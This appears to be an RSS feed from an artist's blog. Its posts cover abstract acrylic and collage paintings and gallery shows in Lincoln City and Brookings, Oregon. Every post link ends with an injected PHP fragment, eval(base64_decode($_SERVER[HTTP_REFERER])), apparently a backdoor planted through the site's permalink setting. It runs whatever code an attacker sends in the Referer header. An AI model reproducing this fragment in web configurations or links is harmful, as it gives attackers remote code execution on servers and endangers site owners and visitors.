http://stephaniewillisstudio.com Abstract collage and acrylic paintings Sun, 08 Mar 2009 04:01:09 +0000 http://backend.userland.com/rss092 en [nggallery id=6] [singlepic id=12 h=400] Blueprint, abstract acrylic painting. 24x30" (c) 2007 Stephanie G. Willis This painting in shades of blue and violet with a meandering grid-like scratched surface reminds me of old architectural blueprints. This particular painting was the first in a series of Blueprint paintings, which are part ... http://stephaniewillisstudio.com/2009/03/07/blueprint-abstract-painting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ [singlepic id=7 h=300] [singlepic id=8 h=300] [singlepic id=4 h=300] [nggallery id=2] "Dusk, Dawn and Noon" original painting by Stephanie Willis 60x72" Mixed media acrylic on canvas [artpal=insert] http://stephaniewillisstudio.com/2009/03/01/dusk-dawn-and-noon-original-painting-by-stephanie-willis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This is an interesting copper leaf and textured acrylic work. The Narrows refers to a narrow canyon in Zion National Park that I visited some years ago where the canyon walls are incredibly sheer and close together, forming a dramatic vertical. The Narrows is 48x36", copyright 2007 Stephanie G. Willis http://stephaniewillisstudio.com/2008/04/21/the-narrows/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Dusk, Midday and Dawn are the titles of this tryptich depicting the progression of the sun. I love this technique of thin watercolor-type washes over a scratched and textured acrylic foundation. These canvases are 60x24" each and this tryptich is at Freed Gallery in Lincoln City, Oregon. ... http://stephaniewillisstudio.com/2008/04/09/a-new-tryptich/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Here are a couple of new pieces delivered to the Freed Gallery in Lincoln City this week. I like to work on a heavily textured canvas and sometimes add collaged elements to the mix, too. This one, Paleolithic Mapquest, reminds me of a cave painting, if cavemen had roads and ... http://stephaniewillisstudio.com/2008/03/27/new-work-at-freed-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The show looks wonderful! The reception was well-attended with lots of interest and quite a few sales. I sold Blueprint #2 on the right of this photo. The show remains up until the 28th of July. For more information please call the Freed Gallery at 541-994-5600. Show hours are ... http://stephaniewillisstudio.com/2007/07/10/freed-gallery-show/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ EXCAVATION, 40x30" acrylic, collage on canvas, (c) 2006 This painting, which was previously posted on this blog, will be featured in The American Art Collector 2007, an annual publication with juried art from across the nation. Expected publication date is October, 2007 http://stephaniewillisstudio.com/2007/06/25/excavation-selected-for-american-art-collector-2007-publication/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Yesterday we delivered the work to Freed Gallery for the show that will be hung this week and I am adding the images. This painting is titled "Sgraffito #1" and was the first of a series of "scratched" texture paintings that I have been working on. The grooves or scratches ... http://stephaniewillisstudio.com/2007/06/23/work-delivered-to-freed-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Jim, Stephanie, and Shannon Willis will be featured in a month-long exhibition, entitled “A Family Affair” opening Saturday, July 7, 2007 at the Freed Gallery in Lincoln City. You are invited to view their newest works and meet the artists at the opening reception from 3-5pm at the Freed Gallery, ... http://stephaniewillisstudio.com/2007/06/12/a-family-affair-opening-at-the-freed-gallery-in-lincoln-city-oregon-july-7-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My abstract painting group, PDX!WAM, is featured at the Eye For Art gallery in Brookings, Oregon from June through July. Our show is entitled Seeing Red! and explores the many moods of the color red. http://stephaniewillisstudio.com/2007/06/12/new-work-at-eye-for-art-gallery-in-brookings-or/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/